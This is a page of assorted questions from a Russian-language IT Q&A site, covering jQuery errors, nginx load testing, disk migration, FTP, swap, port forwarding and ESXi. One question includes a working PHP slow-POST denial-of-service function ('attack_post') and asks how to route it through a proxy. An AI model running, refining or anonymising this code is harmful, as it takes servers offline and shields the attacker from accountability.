Публикации

Как решить проблему с jQuery?

Добрый день!
Купил хостинг, залил сайт, но сайт не правильно отображается, на локалке работает все нормально!
Написал в поддержку хоста, они написали мне:
Проблема связана с отсутствием подключенного jQuery, предоставляем Вам текст ошибок:

script.js:12 Uncaught ReferenceError: jQuery is not defined
queryLoader.js:105 Uncaught ReferenceError: $ is not defined

Я не шарю в скриптах! Пожалуйста помогите!

Вот так вот подключены все скрипты
QueryLoader.init();

Ссылка на все скрипты сайта: rghost.ru/6phWBQVPl

Почему при увеличении количества одновременных запросов увеличивается время ответа?

Тестировал кучей всевозможных способов, и наблюдаю одинаковую ситуацию
При увеличении количества одновременных запросов в 10 раз, соответственно увеличивается и время ответа
Среднее количество запросов в секунду при этом остается примерно одинаковым, и никакой процесс не упирается в CPU/Memory

Мне непонятно, в какое другое ограничение я уперся в таком тесте:
— в ограничение веб-сервера(для Ngnix это должны быть детские игры)?
— в ограничение тестирующего кода(мне кажется ab также должен хорошо справлятся)?
— в ограничение ОС (количество соединений, etc...)?

Например тестировал не настроенный Nginx(под Windows 7) с помощью apache benchmark на 10/100/1000 одновременных запросов, на 10000 запросов в 1 КБ
Вот сводные данные
«Time per request» растет каждый раз на порядок
«Requests per second» первые два раза одинаков, на третий падает в два раза
Concurrency Level: 10 100 100 Requests per second: 885.61 878.22 390.39 Time per request: 11.292 113.867 2561.546
Читать дальше

Как правильно перенести виртуальную машину на диск меньшего размера?

Доброго времени суток.
У меня такая ситуация нужно перенести систему с большего диска на меньший, причем структура такая. Диск 100Гб, boot раздел fat32, остальное в LVM — в системе используется не более 20Гб, нужно перенести на диск с 50Гб сохраняя рабочее состояние, на несколько часов машину можно потушить.

Для тестов я создал виртуалку и пробую на ней. Всё ли верно и есть ли способ упростить всё это?
Общий алгоритм переноса на новый диск я вижу таким
1. Подключаем новый диск /dev/sdb
2. Загружаемся с LiveCD (sysresccd)
3. Разбиваем новый диск посредством fdisk как целевой (sfdisk -d не катит, т.к новый диск меньше)
(Почему не получилось создать /dev/sdb5 с началом 501760, fdisk показал первым сектором 501758 я так и не понял)
fdisk -l /dev/sda
Disk /dev/sda: 10 GiB
Device Boot Start End Blocks Id System
/dev/sda1 * 2048 499711 248832 83 Linux
/dev/sda2 501758 20969471 10233857 5 Extended
/dev/sda5 501760 20969471 10233856 8e Linux LVM
Читать дальше

Ошибка при подключение к фтп «Не удалось получить список каталогов», в чем может быть проблема?

Здравствуйте. Сегодня сталкнулся внезапно с такой проблемой что не получается подключиться к FTP серверу, практически к любому, выводит следующие ошибки:

[R] Connection lost: 188.40.52.228 [R] List Error [R] Connecting to 188.40.52.228 -> IP=188.40.52.228 PORT=21 [R] Connected to 188.40.52.228 [R] 220 ProFTPD 1.3.4a Server (Debian) [::ffff:188.40.52.228] [R] USER moslem [R] 331 Password required for moslem [R] PASS (hidden) [R] 230 User moslem logged in [R] SYST [R] 215 UNIX Type: L8 [R] FEAT [R] 211-Features: [R] MDTM [R] MFMT [R] TVFS [R] UTF8 [R] MFF modify;UNIX.group;UNIX.mode; [R] MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*; [R] LANG it-IT;en-US*;zh-CN;fr-FR;zh-TW;ko-KR;bg-BG;ru-RU;ja-JP [R] SITE MKDIR [R] SITE RMDIR [R] SITE UTIME [R] SITE SYMLINK [R] REST STREAM [R] SIZE [R] 211 End [R] CWD / [R] 250 CWD command successful [R] PWD [R] 257 "/" is the current directory [R] PASV mode failed, trying PORT mode. [R] TYPE A [R] 200 Type set to A [R] Listening on PORT: 49477, Waiting for connection. [R] PORT 192,168,0,106,193,69 [R] 500 Illegal PORT command [R] List Error

По чему не работает PHP код получения страницы по HTTP?

По чему не работает код (он пишет только «Result:» и пустота, см. hosthack.tk/?server=hostinger.ru&num=1 и вообще загружается 12 секунд):

echo 'Result:

'."\n"; $request = «GET / HTTP/1.1\r\n»; $request .= «Host: ».$_GET[server]."\r\n"; $request .= «User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n»; $page=@fsockopen($_GET[server], 80, $errno, $errstr); $text=fgets($page); $text=substr($text, 0, strripos($text, ' ')); $text=str_replace("\r\n", ' ', $text); $text=str_replace("\n", ' ', $text); $text=str_replace('

Значит ли это, что на сервере два swap файла?

VDS 2gb ram.
Сделал swap file, смотрю, а там еще partition значится…
Не значит ли это, что у меня два swap файла и один надо убрать?
Или один?

swapon -s Filename Type Size Used Priority /dev/sda2 partition 2099196 0 -1 /swapfile file 4194300 0 -2

и в fstab
# /dev/sda1 / ext3 errors=remount-ro 0 1 /dev/sda2 swap swap defaults 0 0 /swapfile swap swap defaults 0 0 proc /proc proc defaults 0 0 sysfs /sys sysfs defaults 0 0 tmpfs /dev/shm tmpfs defaults 0 0 devpts /dev/pts devpts defaults 0 0

Как в php все совершенно интернет-подключения проводить через прокси без установки программ?

Как в php интернет-подключение проводить через прокси без установки программ (например, cURL надо устанавливать — не подходит)?

Как вот этот код переделать под прокси?
function attack_post($server, $host){ $request = «POST /».md5(rand())." HTTP/1.1\r\n"; $request .= «Host: $host\r\n»; $request .= «User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n»; $request .= «Keep-Alive: 900\r\n»; $request .= «Content-Length: 1000000000\r\n»; $request .= «Content-Type: application/x-www-form-urlencoded\r\n»; $request .= «Accept: *.*\r\n»; $sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request); while (true){ if (@fwrite($sockfd, ".") !== FALSE){ echo "."; sleep(1); }else{ echo "\nOne post attack failed to sent...\n"; $sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request); } } }

Не пробрасываются порты извне через роутер. Почему они фильтруются?

Роутер (ASUS RT-N10PV2) выходит через белый ip от провайдера. Веб-интерфейс повесил на 8081 порт.
В локальной сети есть linux сервер. 80 порт nginx, 8080 порт apache, 53 порт dns.

В настройках роутерах включил forwarding данных портов.

HTTP Server 80 192.168.1.11 80 BOTH
Где 192.168.1.11 — локальный ip сервера.

Но извне всё равно выдает что порт закрыт. а 8081 открыт. До этого веб-интерфейс роутера стоял на 80ом порте и этот порт был тоже открыт.

Starting Nmap 6.47 ( nmap.org ) at 2015-05-05 02:46 Coordinated Universal Time Nmap scan report for 161.*.189.89.sta.211.ru (89.189.*.161) Host is up (0.11s latency). Not shown: 94 closed ports PORT STATE SERVICE 22/tcp filtered ssh 23/tcp open telnet 53/tcp filtered domain 80/tcp filtered http 8080/tcp filtered http-proxy 8081/tcp open blackice-icecap Nmap done: 1 IP address (1 host up) scanned in 3.29 seconds
— вывод nmap.

Почему эти порты фильтруются? Фаерволл отключен. iptables не мешает. сервер выдает что данные порты прослушиваются.
Это проделки провайдера? Но почему тогда 80ый порт был открыт, когда на нем висел интерфейс роутера.

Как совместить PHP-библиотеку и Rails-приложение?

Всем доброго времени суток.
Дано приложение на Ruby on Rails. Замечательно написанное(с моей точки зрения), прекрасно работает и т.д. В качестве веб-сервера apache + mod__rails от passenger.
Также, имеется сторонняя библиотека, написанная на PHP, которая отлично выполняет то что нужно, в конкретном случае сбор, систематизация и выгрузка данных. Если это имеет значение — это некий новостной агрегатор, которой считает количество упоминаний(город, ФИО человека, название предприятия и т.д.) по разным источникам, и на этой основе выводит какие-то коэфиценты. Заказчику они понятны, я в них не вдавался.

Rails-приложение имеет админку, свои настройки и т.д. и также требует данные из PHP-либы для своей работы. В текущем варианте PHP-либа собирает нужную информацию, затем она чем-то там оборачивается и высылает результат своей работы на мыло(есть некий длинный служебный email под все это дело). Rails-приложение раз в N минут проверяет почту и, если там есть письмо от PHP-либы, она обрабатывает эту информацию(проверка на целостность и корректность, не более) и заносит ее к себе в БД.

Как мы все видим, это костыль. Самое правильное здесь решение — взять эту самую PHP-либу и переписать бы ее под Rails, но по срокам я в dead line тогда точно не впишусь(вариант сдвинуть dead line пока не рассматриваем).

Задачу, которую я пытаюсь решить — ускорить работу приложения, т.к. данных у владельца этого решения стало больше и вся описанная выше мною структура начинает уже изрядно тормозить.

Самый логичный вывод — убрать из этой цепочки email, совместив обе части приложения на одном веб-сервере. Вот собственно тут у меня и возникают все проблемы, поскольку я вообще не представляю как это можно сделать. Гугл/Яндекс по этому запросу молчат, либо я туда что-то не то пишу.

Собственно подскажите в какую сторону вообще копать? Есть ли какие-то мануалы на эту тему или хотя бы скиньте ключевые слова для гугла, ибо я сейчас в тупике.

Как настроить локальные диски в ESXi 5.5?

Предыстория:
Приехал сервер ProLiant DL80 Gen9 778641-B21
в нём 4 SATA HDD подключенных к контроллеру HP Smart HBA H240

2 по 500 (модель MB0500GCEHE) собраны в RAID 1:
-Logical Drive 01
Status OK
Capacity 465 GB
Fault Tolerance RAID 1/RAID 1+0
Logical Drive Type Data LUN
Encryption Status Not Encrypted

2 по 4ТБ (модель MB4000GCWDC) так же собратны в RAID1:
-Logical Drive 02
Status OK
Capacity 3725 GB
Fault Tolerance RAID 1/RAID 1+0
Logical Drive Type Data LUN
Encryption Status Not Encrypted
Читать дальше